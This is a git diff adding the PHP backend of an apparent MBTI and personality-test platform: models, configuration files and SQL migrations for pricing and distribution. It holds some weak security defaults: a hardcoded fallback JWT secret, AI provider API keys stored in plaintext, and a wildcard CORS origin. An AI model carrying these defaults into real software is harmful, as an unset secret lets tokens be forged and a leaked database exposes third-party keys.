'apiEndpoint' => 'string', + 'model' => 'string', + 'organizationId' => 'string', + 'maxTokens' => 'int', + 'balanceAlertEnabled' => 'int', + 'balanceAlertThreshold' => 'float', + 'notes' => 'string', + 'docUrl' => 'string', + 'isFree' => 'int', + 'supportsBalance' => 'int', + 'lastBalance' => 'float', + 'lastBalanceCurrency' => 'string', + 'lastBalanceCheckedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + 'deletedAt' => 'int', + 'extraConfig' => 'string', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'lastBalanceCheckedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + 'deletedAt' => 'integer', + 'extraConfig' => 'json', + ]; + + // 注意:API Key需要可逆读取用于API调用,所以不隐藏,但在获取器中脱敏 + + /** + * API Key 修改器(存储原始值,用于API调用) + */ + public function setApiKeyAttr($value) + { + if (empty($value)) { + return null; + } + // 如果输入的是脱敏格式(包含****),不更新 + if (strpos($value, '****') !== false) { + return null; // 返回null表示不更新此字段 + } + // 直接存储原始值(实际生产环境建议使用AES加密) + return $value; + } + + /** + * API Key 获取器(返回脱敏后的密钥) + * 注意:如果需要原始密钥用于API调用,使用 getRawApiKey() 方法 + */ + public function getApiKeyAttr($value) + { + if (empty($value)) { + return ''; + } + // 返回脱敏后的密钥(显示前6位和后4位) + if (strlen($value) > 10) { + return substr($value, 0, 6) . '****' . substr($value, -4); + } + return '****'; + } + + /** + * 获取原始API Key(用于API调用) + * @return string + */ + public function getRawApiKey() + { + // 直接从数据库读取原始值,绕过获取器 + return \think\facade\Db::name('ai_providers') + ->where('id', $this->id) + ->value('apiKey') ?: ''; + } +} + diff --git a/api/app/model/BackupRecord.php b/api/app/model/BackupRecord.php new file mode 100644 index 0000000..db2d861 --- /dev/null +++ b/api/app/model/BackupRecord.php @@ -0,0 +1,48 @@ + 'int', + 'filename' => 'string', + 'filepath' => 'string', + 'fileSize' => 'int', + 'ossUrl' => 'string', + 'ossPath' => 'string', + 'status' => 'string', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; +} + diff --git a/api/app/model/Enterprise.php b/api/app/model/Enterprise.php new file mode 100644 index 0000000..f252ec5 --- /dev/null +++ b/api/app/model/Enterprise.php @@ -0,0 +1,51 @@ + 'int', + 'name' => 'string', + 'code' => 'string', + 'contactName' => 'string', + 'contactPhone' => 'string', + 'contactEmail' => 'string', + 'balance' => 'float', + 'status' => 'string', + 'trialExpireAt' => 'int', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'trialExpireAt' => 'integer', + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; +} + diff --git a/api/app/model/EnterpriseResumeUpload.php b/api/app/model/EnterpriseResumeUpload.php new file mode 100644 index 0000000..cc439bd --- /dev/null +++ b/api/app/model/EnterpriseResumeUpload.php @@ -0,0 +1,25 @@ + 'int', + 'userId' => 'int', + 'enterpriseId' => 'int', + 'fileUrl' => 'string', + 'fileName' => 'string', + 'is_default' => 'int', + 'createdAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; +} diff --git a/api/app/model/PricingConfig.php b/api/app/model/PricingConfig.php new file mode 100644 index 0000000..53aa3ed --- /dev/null +++ b/api/app/model/PricingConfig.php @@ -0,0 +1,117 @@ + 'int', + 'type' => 'string', + 'enterpriseId' => 'int', + 'config' => 'string', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + // JSON字段自动转换 + protected $json = ['config']; + + /** + * 配置修改器(自动转换为JSON) + */ + public function setConfigAttr($value) + { + if (is_array($value)) { + return json_encode($value, JSON_UNESCAPED_UNICODE); + } + return $value; + } + + /** + * 配置获取器(自动解析JSON) + */ + public function getConfigAttr($value) + { + if (is_string($value)) { + return json_decode($value, true); + } + return $value; + } + + /** + * 按类型与可选企业ID取定价配置 + * + * personal(个人版)优先级: + * 1. admin_personal + enterpriseId(企业专属管理端配置,有 eid 时) + * 2. admin_personal + null(通用管理端配置) + * 3. 任意一条 admin_personal(兜底:只要管理端配过就不走超管) + * 4. personal + null(超管全局,仅在管理端完全未配置时使用) + * + * enterprise(企业版)优先级: + * 1. admin_enterprise + enterpriseId(有 eid 时) + * 2. admin_enterprise + null(通用管理端企业配置) + * 3. 任意一条 admin_enterprise + * 4. enterprise + null(超管全局兜底) + * + * @param string $type personal|enterprise|deep + * @param int|null $enterpriseId 有则优先读该企业专属配置 + * @return \app\model\PricingConfig|null + */ + public static function getByTypeAndEnterprise(string $type, ?int $enterpriseId = null): ?self + { + if ($type === 'personal') { + if (!empty($enterpriseId)) { + $row = self::where('type', 'admin_personal')->where('enterpriseId', $enterpriseId)->find(); + if ($row) return $row; + } + // 通用管理端个人配置(admin_personal + null) + $row = self::where('type', 'admin_personal')->whereNull('enterpriseId')->find(); + if ($row) return $row; + // 任意管理端个人配置(兜底:管理端配过就不走超管) + $row = self::where('type', 'admin_personal')->order('id', 'asc')->find(); + if ($row) return $row; + // 超管全局个人定价(最后兜底,仅管理端完全未配置时使用) + return self::where('type', 'personal')->whereNull('enterpriseId')->find(); + } + if ($type === 'enterprise') { + if (!empty($enterpriseId)) { + $row = self::where('type', 'admin_enterprise')->where('enterpriseId', $enterpriseId)->find(); + if ($row) return $row; + } + // 通用管理端企业配置(admin_enterprise + null) + $row = self::where('type', 'admin_enterprise')->whereNull('enterpriseId')->find(); + if ($row) return $row; + // 任意管理端企业配置(兜底) + $row = self::where('type', 'admin_enterprise')->order('id', 'asc')->find(); + if ($row) return $row; + return self::where('type', 'enterprise')->whereNull('enterpriseId')->find(); + } + if ($type === 'deep') { + return self::where('type', 'deep')->whereNull('enterpriseId')->find(); + } + return self::where('type', $type)->whereNull('enterpriseId')->find(); + } +} + diff --git a/api/app/model/Question.php b/api/app/model/Question.php new file mode 100644 index 0000000..03afb50 --- /dev/null +++ b/api/app/model/Question.php @@ -0,0 +1,91 @@ + 'int', + 'type' => 'string', + 'question' => 'string', + 'options' => 'string', + 'dimension' => 'string', + 'enterpriseId' => 'int', + 'sort' => 'int', + 'status' => 'int', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + // JSON字段自动转换 + protected $json = ['options']; + + /** + * 选项修改器(自动转换为JSON) + */ + public function setOptionsAttr($value) + { + if (is_array($value)) { + return json_encode($value, JSON_UNESCAPED_UNICODE); + } + return $value; + } + + /** + * 选项获取器(自动解析JSON,确保返回数组格式) + */ + public function getOptionsAttr($value) + { + if (is_string($value)) { + $decoded = json_decode($value, true); + // 如果解码失败或返回null,返回空数组 + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) { + return []; + } + // 如果是对象格式(关联数组),转换为索引数组 + if (is_array($decoded) && !empty($decoded) && !isset($decoded[0])) { + return array_values($decoded); + } + return $decoded ?: []; + } + // 如果是对象(stdClass),转换为数组 + if (is_object($value)) { + $value = json_decode(json_encode($value), true); + } + // 如果已经是数组,确保是索引数组 + if (is_array($value) && !empty($value) && !isset($value[0])) { + return array_values($value); + } + return is_array($value) ? $value : []; + } +} + diff --git a/api/app/model/SystemConfig.php b/api/app/model/SystemConfig.php new file mode 100644 index 0000000..42d71c2 --- /dev/null +++ b/api/app/model/SystemConfig.php @@ -0,0 +1,63 @@ + 'int', + 'key' => 'string', + 'enterprise_id' => 'int', + 'value' => 'string', + 'description' => 'string', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + // JSON字段自动转换 + protected $json = ['value']; + + /** + * 配置值修改器(自动转换为JSON) + */ + public function setValueAttr($value) + { + if (is_array($value)) { + return json_encode($value, JSON_UNESCAPED_UNICODE); + } + return $value; + } + + /** + * 配置值获取器(自动解析JSON) + */ + public function getValueAttr($value) + { + if (is_string($value)) { + return json_decode($value, true); + } + return $value; + } +} + diff --git a/api/app/model/UploadFile.php b/api/app/model/UploadFile.php new file mode 100644 index 0000000..42b0b1b --- /dev/null +++ b/api/app/model/UploadFile.php @@ -0,0 +1,29 @@ + 'int', + 'path' => 'string', + 'url' => 'string', + 'driver' => 'string', + 'hash' => 'string', + 'size' => 'int', + 'mimeType' => 'string', + 'extension' => 'string', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; +} diff --git a/api/app/model/User.php b/api/app/model/User.php new file mode 100644 index 0000000..ffda94e --- /dev/null +++ b/api/app/model/User.php @@ -0,0 +1,76 @@ + 'int', + 'username' => 'string', + 'password' => 'string', + 'phone' => 'string', + 'email' => 'string', + 'role' => 'string', + 'enterpriseId' => 'int', + 'mbtiType' => 'string', + 'region' => 'string', + 'industry' => 'string', + 'status' => 'int', + 'lastLoginTime' => 'int', + 'lastLoginIp' => 'string', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 隐藏字段(不返回给前端) + protected $hidden = ['password']; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'lastLoginTime' => 'integer', + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + /** + * 密码修改器(自动加密) + */ + public function setPasswordAttr($value) + { + return password_hash($value, PASSWORD_DEFAULT); + } + + /** + * 验证密码 + * @param string $password 明文密码 + * @return bool + */ + public function verifyPassword($password) + { + return password_verify($password, $this->password); + } +} + diff --git a/api/app/model/UserProfile.php b/api/app/model/UserProfile.php new file mode 100644 index 0000000..36e760d --- /dev/null +++ b/api/app/model/UserProfile.php @@ -0,0 +1,162 @@ + 'int', + 'userId' => 'int', + 'userType' => 'string', + 'enterpriseId' => 'int', + 'testsTotal' => 'int', + 'testsMbti' => 'int', + 'testsDisc' => 'int', + 'testsPdp' => 'int', + 'testsFace' => 'int', + 'ordersTotal' => 'int', + 'paidOrders' => 'int', + 'totalPaidAmount' => 'int', + 'lastTestResultId'=> 'int', + 'lastTestType' => 'string', + 'lastTestAt' => 'int', + 'lastMbtiResultId'=> 'int', + 'lastDiscResultId'=> 'int', + 'lastPdpResultId' => 'int', + 'lastFaceResultId'=> 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + /** + * 测试完成后更新用户画像统计与最近测试ID + */ + public static function recordTest(int $userId, string $testType, int $testResultId, ?int $enterpriseId = null, ?int $createdAt = null): void + { + if ($userId <= 0 || !$testType || $testResultId <= 0) { + return; + } + $now = $createdAt ?: time(); + $userType = $enterpriseId ? 'enterprise' : 'personal'; + + [$data, $id] = self::loadOrInitRow($userId, $userType, $enterpriseId, $now); + + $data['testsTotal']++; + switch ($testType) { + case 'mbti': + $data['testsMbti']++; + $data['lastMbtiResultId'] = $testResultId; + break; + case 'disc': + $data['testsDisc']++; + $data['lastDiscResultId'] = $testResultId; + break; + case 'pdp': + $data['testsPdp']++; + $data['lastPdpResultId'] = $testResultId; + break; + case 'face': + case 'ai': + $data['testsFace']++; + $data['lastFaceResultId'] = $testResultId; + break; + } + + $data['lastTestResultId'] = $testResultId; + $data['lastTestType'] = $testType; + $data['lastTestAt'] = $now; + $data['updatedAt'] = $now; + + self::upsertRow($data, $id); + } + + /** + * 支付成功后更新订单统计与总支付金额 + * + * @param int $userId + * @param int|null $enterpriseId + * @param int $amountFen 本次支付金额(分) + */ + public static function recordPayment(int $userId, ?int $enterpriseId, int $amountFen): void + { + if ($userId <= 0 || $amountFen <= 0) { + return; + } + $now = time(); + $userType = $enterpriseId ? 'enterprise' : 'personal'; + + [$data, $id] = self::loadOrInitRow($userId, $userType, $enterpriseId, $now); + + $data['ordersTotal'] = (int) ($data['ordersTotal'] ?? 0) + 1; + $data['paidOrders'] = (int) ($data['paidOrders'] ?? 0) + 1; + $currentTotal = (int) ($data['totalPaidAmount'] ?? 0); + $data['totalPaidAmount'] = $currentTotal + $amountFen; + $data['updatedAt'] = $now; + + self::upsertRow($data, $id); + } + + /** + * 读或初始化一行画像数据 + */ + protected static function loadOrInitRow(int $userId, string $userType, ?int $enterpriseId, int $now): array + { + $where = [ + 'userId' => $userId, + 'userType' => $userType, + 'enterpriseId' => $enterpriseId, + ]; + + $row = Db::name('user_profile')->where($where)->lock(true)->find(); + + $base = [ + 'testsTotal' => 0, + 'testsMbti' => 0, + 'testsDisc' => 0, + 'testsPdp' => 0, + 'testsFace' => 0, + 'ordersTotal' => 0, + 'paidOrders' => 0, + 'totalPaidAmount' => 0, + 'lastMbtiResultId'=> null, + 'lastDiscResultId'=> null, + 'lastPdpResultId' => null, + 'lastFaceResultId'=> null, + ]; + + if ($row) { + $data = array_merge($base, $row); + $id = (int) $row['id']; + } else { + $data = array_merge($base, $where, ['createdAt' => $now]); + $id = 0; + } + + return [$data, $id]; + } + + /** + * 写入或更新一行画像数据 + */ + protected static function upsertRow(array $data, int $id): void + { + if ($id > 0) { + Db::name('user_profile')->where('id', $id)->update($data); + } else { + Db::name('user_profile')->insert($data); + } + } +} + diff --git a/api/app/model/WechatUser.php b/api/app/model/WechatUser.php new file mode 100644 index 0000000..d5104ae --- /dev/null +++ b/api/app/model/WechatUser.php @@ -0,0 +1,56 @@ + 'int', + 'openid' => 'string', + 'unionid' => 'string', + 'sessionKey' => 'string', + 'nickname' => 'string', + 'avatar' => 'string', + 'phone' => 'string', + 'gender' => 'int', + 'country' => 'string', + 'province' => 'string', + 'city' => 'string', + 'birthday' => 'string', + 'status' => 'int', + 'lastLoginAt' => 'int', + 'lastLoginIp' => 'string', + 'enterpriseId' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + protected $hidden = ['sessionKey', 'openid']; + + protected $type = [ + 'lastLoginAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + /** + * 返回给前端的用户信息(不包含敏感字段) + */ + public function toApiArray(): array + { + $row = $this->toArray(); + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + return $row; + } +} diff --git a/api/composer.json b/api/composer.json new file mode 100644 index 0000000..b0146b0 --- /dev/null +++ b/api/composer.json @@ -0,0 +1,35 @@ +{ + "name": "news/backend", + "description": "新闻资讯网站后端API服务", + "type": "project", + "keywords": [ + "thinkphp", + "api", + "news" + ], + "homepage": "https://github.com/topthink/framework", + "license": "Apache-2.0", + "require": { + "php": ">=8.0.0", + "aliyuncs/oss-sdk-php": "^2.7", + "topthink/framework": "^8.0", + "topthink/think-orm": "^3.0", + "topthink/think-view": "^1.0" + }, + "require-dev": { + "symfony/var-dumper": "^5.1", + "topthink/think-trace": "^1.0" + }, + "autoload": { + "psr-4": { + "app\\": "app/" + } + }, + "config": { + "preferred-install": "composer", + "optimize-autoloader": true, + "sort-packages": true + }, + "minimum-stability": "dev", + "prefer-stable": true +} diff --git a/api/config/app.php b/api/config/app.php new file mode 100644 index 0000000..c8f8359 --- /dev/null +++ b/api/config/app.php @@ -0,0 +1,105 @@ + +// +---------------------------------------------------------------------- +// +---------------------------------------------------------------------- +// | 应用设置 +// +---------------------------------------------------------------------- + +return [ + // +---------------------------------------------------------------------- + // | 应用基础配置 + // +---------------------------------------------------------------------- + + // 应用名称 + 'app_name' => env('app.name', ''), + // 应用地址 + 'app_host' => env('app.host', ''), + // 应用的命名空间 + 'app_namespace' => '', + // 是否启用路由 + 'with_route' => true, + // 默认应用 + 'default_app' => 'index', + // 默认时区 + 'default_timezone' => 'Asia/Shanghai', + + // +---------------------------------------------------------------------- + // | 应用调试配置 + // +---------------------------------------------------------------------- + + // 应用调试模式(从环境变量读取,开发环境建议开启) + 'app_debug' => env('app.debug', false), + // 应用Trace(从环境变量读取,开发环境建议开启) + 'app_trace' => env('app.trace', false), + + // +---------------------------------------------------------------------- + // | 输出配置 + // +---------------------------------------------------------------------- + + // 默认输出类型 + 'default_return_type' => 'json', + // 默认AJAX 数据返回格式,可选json xml ... + 'default_ajax_return' => 'json', + // 默认JSONP格式返回的处理方法 + 'default_jsonp_handler' => 'jsonpReturn', + // 默认JSONP处理方法 + 'var_jsonp_handler' => 'callback', + + // +---------------------------------------------------------------------- + // | 语言配置 + // +---------------------------------------------------------------------- + + // 是否开启多语言 + 'lang_switch_on' => false, + // 默认语言 + 'default_lang' => 'zh-cn', + // 默认全局过滤方法 用逗号分隔多个 + 'default_filter' => '', + + // +---------------------------------------------------------------------- + // | 类库配置 + // +---------------------------------------------------------------------- + + // 应用类库后缀 + 'class_suffix' => false, + // 控制器类后缀 + 'controller_suffix' => false, + + // +---------------------------------------------------------------------- + // | URL配置 + // +---------------------------------------------------------------------- + + // 应用映射(可选) + 'app_map' => [], + // 域名绑定(可选) + 'domain_bind' => [], + + // +---------------------------------------------------------------------- + // | 异常处理配置 + // +---------------------------------------------------------------------- + + // 异常页面的模板文件 + 'exception_tmpl' => app()->getThinkPath() . 'tpl/think_exception.tpl', + // 错误显示信息,非调试模式有效 + 'error_message' => '页面错误!请稍后再试~', + // 显示错误信息 + 'show_error_msg' => true, + // 异常处理handle类 留空使用 \think\exception\Handle + 'exception_handle' => '', + + // +---------------------------------------------------------------------- + // | 其他配置 + // +---------------------------------------------------------------------- + + // 应用模式状态 + 'app_status' => '', +]; + + diff --git a/api/config/cache.php b/api/config/cache.php new file mode 100644 index 0000000..ed8349b --- /dev/null +++ b/api/config/cache.php @@ -0,0 +1,42 @@ + env('cache.driver', 'file'), + + // 缓存连接方式配置 + 'stores' => [ + // 文件缓存 + 'file' => [ + // 驱动方式 + 'type' => 'File', + // 缓存保存目录 + 'path' => '', + // 缓存前缀 + 'prefix' => '', + // 缓存有效期 0表示永久缓存 + 'expire' => 0, + // 缓存标签前缀 + 'tag_prefix' => 'tag:', + // 序列化机制 例如 ['serialize', 'unserialize'] + 'serialize' => [], + ], + + // Redis缓存 + 'redis' => [ + // 驱动方式 + 'type' => 'redis', + // 服务器地址 + 'host' => env('redis.hostname', '127.0.0.1'), + // 端口 + 'port' => env('redis.port', 6379), + // 密码 + 'password' => env('redis.password', ''), + // 缓存前缀 + 'prefix' => '', + // 缓存有效期 0表示永久缓存 + 'expire' => 0, + ], + ], +]; + diff --git a/api/config/cors.php b/api/config/cors.php new file mode 100644 index 0000000..69244d6 --- /dev/null +++ b/api/config/cors.php @@ -0,0 +1,18 @@ + '*', + + // 允许的HTTP方法 + 'allow_methods' => env('cors.allow_methods', 'GET,POST,PUT,DELETE,OPTIONS'), + + // 允许的请求头 + 'allow_headers' => env('cors.allow_headers', 'Content-Type,Authorization,X-Requested-With,Accept'), + + // 是否允许携带凭证(如果以后要带 cookie 再改成 true) + 'allow_credentials' => env('cors.allow_credentials', false), + + // 预检请求缓存时间(秒) + 'max_age' => env('cors.max_age', 86400), +]; \ No newline at end of file diff --git a/api/config/database.php b/api/config/database.php new file mode 100644 index 0000000..d9157ce --- /dev/null +++ b/api/config/database.php @@ -0,0 +1,59 @@ + env('database.driver', 'mysql'), + + // 自定义时间查询规则 + 'time_query_rule' => [], + + // 自动写入时间戳字段 + // true为自动识别类型 false关闭 + // 字符串则明确指定时间字段类型 支持 int timestamp datetime date + 'auto_timestamp' => true, + + // 时间字段取出后的默认时间格式 + 'datetime_format' => 'Y-m-d H:i:s', + + // 数据库连接配置信息 + 'connections' => [ + 'mysql' => [ + // 数据库类型 + 'type' => env('database.type', 'mysql'), + // 服务器地址 + 'hostname' => env('database.hostname', '127.0.0.1'), + // 数据库名 + 'database' => env('database.database', 'news_db'), + // 用户名 + 'username' => env('database.username', 'root'), + // 密码 + 'password' => env('database.password', ''), + // 端口 + 'hostport' => env('database.hostport', '3306'), + // 数据库连接参数 + 'params' => [], + // 数据库编码默认采用utf8mb4 + 'charset' => env('database.charset', 'utf8mb4'), + // 数据库表前缀 + 'prefix' => env('database.prefix', 'wong_'), + // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) + 'deploy' => 0, + // 数据库读写是否分离 主从式有效 + 'rw_separate' => false, + // 读写分离后 主服务器数量 + 'master_num' => 1, + // 指定从服务器序号 + 'slave_no' => '', + // 是否严格检查字段是否存在 + 'fields_strict' => true, + // 是否需要断线重连 + 'break_reconnect' => true, + // 监听SQL + 'trigger_sql' => env('app_debug', true), + // 开启字段缓存 + 'fields_cache' => false, + ], + ], +]; + + diff --git a/api/config/jwt.php b/api/config/jwt.php new file mode 100644 index 0000000..2c8e905 --- /dev/null +++ b/api/config/jwt.php @@ -0,0 +1,13 @@ + env('jwt.secret', 'mbti_jwt_secret_key_2024_change_in_production'), + + // Token过期时间(秒),默认7天 + 'expire' => env('jwt.expire', 86400 * 7), + + // Token刷新时间(秒),默认6天 + 'refresh_expire' => env('jwt.refresh_expire', 86400 * 6), +]; + diff --git a/api/config/log.php b/api/config/log.php new file mode 100644 index 0000000..cb281df --- /dev/null +++ b/api/config/log.php @@ -0,0 +1,34 @@ + env('log.channel', 'file'), + // 日志记录级别 + 'level' => [], + // 日志通道配置 + 'channels' => [ + 'file' => [ + // 日志记录方式 + 'type' => 'File', + // 日志保存目录 + 'path' => '', + // 单文件日志写入 + 'single' => false, + // 独立日志级别 + 'apart_level' => [], + // 最大日志文件数量 + 'max_files' => 0, + // 使用JSON格式记录 + 'json' => false, + // 日志处理 + 'processor' => null, + // 关闭通道日志写入 + 'close' => false, + // 日志输出格式化 + 'format' => '[%s][%s] %s', + // 是否实时写入 + 'realtime_write' => true, + ], + ], +]; + diff --git a/api/config/middleware.php b/api/config/middleware.php new file mode 100644 index 0000000..dab7c22 --- /dev/null +++ b/api/config/middleware.php @@ -0,0 +1,14 @@ + 'app\\middleware', + // 全局中间件 + 'alias' => [ + 'cors' => \app\middleware\Cors::class, + 'auth' => \app\middleware\Auth::class, + 'superadmin' => \app\middleware\SuperAdmin::class, + ], +]; + + diff --git a/api/config/route.php b/api/config/route.php new file mode 100644 index 0000000..71ad664 --- /dev/null +++ b/api/config/route.php @@ -0,0 +1,30 @@ + false, + // 是否强制使用路由 + 'url_route_must' => false, + // 合并路由规则 + 'route_rule_merge' => false, + // 路由是否完全匹配 + 'route_complete_match' => false, + // 是否去除URL中的.html后缀 + 'url_html_suffix' => '', + // 访问控制器层名称 + 'controller_layer' => 'controller', + // 空控制器名 + 'empty_controller' => 'Error', + // 操作方法后缀 + 'action_suffix' => '', + // 默认的路由变量规则 + 'default_route_pattern' => '[\w\.]+', + // URL普通方式参数 '?变量1=值1&变量2=值2...' + 'url_common_param' => true, + // 是否开启路由延迟解析 + 'url_lazy_route' => false, + // 是否强制HTTPS + 'url_https' => false, +]; + + diff --git a/api/config/upload.php b/api/config/upload.php new file mode 100644 index 0000000..a05bec6 --- /dev/null +++ b/api/config/upload.php @@ -0,0 +1,34 @@ + env('upload.driver', 'oss'), + + // 本地存储配置 + 'local' => [ + // 本地物理路径 + 'root' => app()->getRootPath() . 'public/uploads', + // 访问 URL 前缀(可配置独立静态域名),末尾不要带斜杠 + // 例如:http://localhost:8000 或 https://static.example.com 或 https://api.737270.com + // 注意:不要在这里再加 /uploads,避免出现 /uploads/uploads/xxx 的情况 + // 优先级:app.asset_url > app.host > api.737270.com(默认) + 'url' => rtrim(env('app.asset_url', env('app.host', env('API_DOMAIN', 'https://api.737270.com'))), '/'), + ], + + // 阿里云 OSS 配置(参考 database.php,使用点号分隔的键名) + 'oss' => [ + // AccessKey ID(对应 .env 中的 OSS_ACCESS_KEY_ID) + 'access_key_id' => env('oss.access_key_id', ''), + // AccessKey Secret(对应 .env 中的 OSS_ACCESS_KEY_SECRET) + 'access_key_secret' => env('oss.access_key_secret', ''), + // OSS Endpoint(对应 .env 中的 OSS_ENDPOINT),如:oss-cn-hangzhou.aliyuncs.com + 'endpoint' => env('oss.endpoint', ''), + // OSS Bucket 名称(对应 .env 中的 OSS_BUCKET) + 'bucket' => env('oss.bucket', ''), + // 对象存储前缀(对应 .env 中的 OSS_PREFIX),默认:mbti + 'prefix' => env('oss.prefix', 'mbti'), + // OSS 访问域名(对应 .env 中的 OSS_URL) + // 如果未配置,将自动使用 OSS 自带域名:https://{bucket}.{endpoint} + 'url' => rtrim(env('oss.url', ''), '/'), + ], +]; diff --git a/api/config/wechat.php b/api/config/wechat.php new file mode 100644 index 0000000..2ab2485 --- /dev/null +++ b/api/config/wechat.php @@ -0,0 +1,7 @@ + env('WECHAT_APP_ID', ''), + 'app_secret' => env('WECHAT_APP_SECRET', ''), +]; diff --git a/api/database/add_deep_pricing_categories.sql b/api/database/add_deep_pricing_categories.sql new file mode 100644 index 0000000..b1d6b60 --- /dev/null +++ b/api/database/add_deep_pricing_categories.sql @@ -0,0 +1,7 @@ +-- 深度服务价格类目:个人版(deep_personal) 与 企业版(deep_enterprise),可配置、可新增类目 +-- 表需有 UNIQUE(type, enterpriseId)。若已存在对应 type 会更新 config。 + +INSERT INTO `mbti_pricing_config` (`type`, `enterpriseId`, `config`, `createdAt`, `updatedAt`) VALUES +('deep_personal', NULL, '{"categories":[{"id":"personal_insight","title":"个人深度洞察版","price":198,"priceUnit":"/次","subtitle":"三张照片+问卷,全面解锁你的内在潜能","features":["AI面部分析(基于东方面相学与西方心理学)","MBTI性格测试(16型人格完整解读)","盖洛普优势Top5识别(发现你的核心天赋)","PDP行为偏好分析(了解你的行为模式)","DISC沟通风格分析(提升沟通效率)","多维度综合性格报告(包含优势解读、潜在盲区提示)","职业发展方向推荐(匹配最适合你的职业)"],"actionType":"buy","productKey":"personal_insight"}]}', UNIX_TIMESTAMP(), UNIX_TIMESTAMP()), +('deep_enterprise', NULL, '{"categories":[{"id":"startup","title":"团队启动版","priceDisplay":"¥19,800","subtitle":"适合初创团队、小型部门","userLimit":"最多10人","features":["10人完成个人深度洞察报告","1次团队动力诊断分析会(2-3小时)","识别团队优势组合与潜在风险点"],"actionType":"consult","consultWechat":"28533368","buttonText":"申请咨询"},{"id":"growth","title":"团队成长版","priceDisplay":"¥39,800","subtitle":"适合成长型团队","userLimit":"10-30人","features":["最多30人完成个人深度洞察报告","包含\"启动版\"所有内容","1次定制化团队协作增效工作坊(7天)","聚焦沟通优化、优势协作等主题"],"actionType":"consult","consultWechat":"28533368","buttonText":"申请咨询"},{"id":"transform","title":"团队蜕变版","priceDisplay":"¥98,000","subtitle":"适合中大型团队","userLimit":"最多100人","features":["最多100人完成个人深度洞察报告","包含\"成长版\"所有内容","更深度、更定制化的系列组合(≥2工作日)","3个月的落地跟进顾问服务"],"actionType":"consult","consultWechat":"28533368","buttonText":"申请咨询"}]}', UNIX_TIMESTAMP(), UNIX_TIMESTAMP()) +ON DUPLICATE KEY UPDATE `config` = VALUES(`config`), `updatedAt` = UNIX_TIMESTAMP(); diff --git a/api/database/add_distribution_tables.sql b/api/database/add_distribution_tables.sql new file mode 100644 index 0000000..291a7e8 --- /dev/null +++ b/api/database/add_distribution_tables.sql @@ -0,0 +1,206 @@ +-- ============================================================ +-- 分销系统数据库迁移(兼容 MySQL 5.7+) +-- 版本: v1.1 日期: 2026-03-04 +-- 执行方式:直接在数据库客户端或命令行运行此文件 +-- ============================================================ + +-- ---------------------------- +-- 1. 新建分销绑定记录表 +-- ---------------------------- +CREATE TABLE IF NOT EXISTS `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) NOT NULL DEFAULT 'personal' 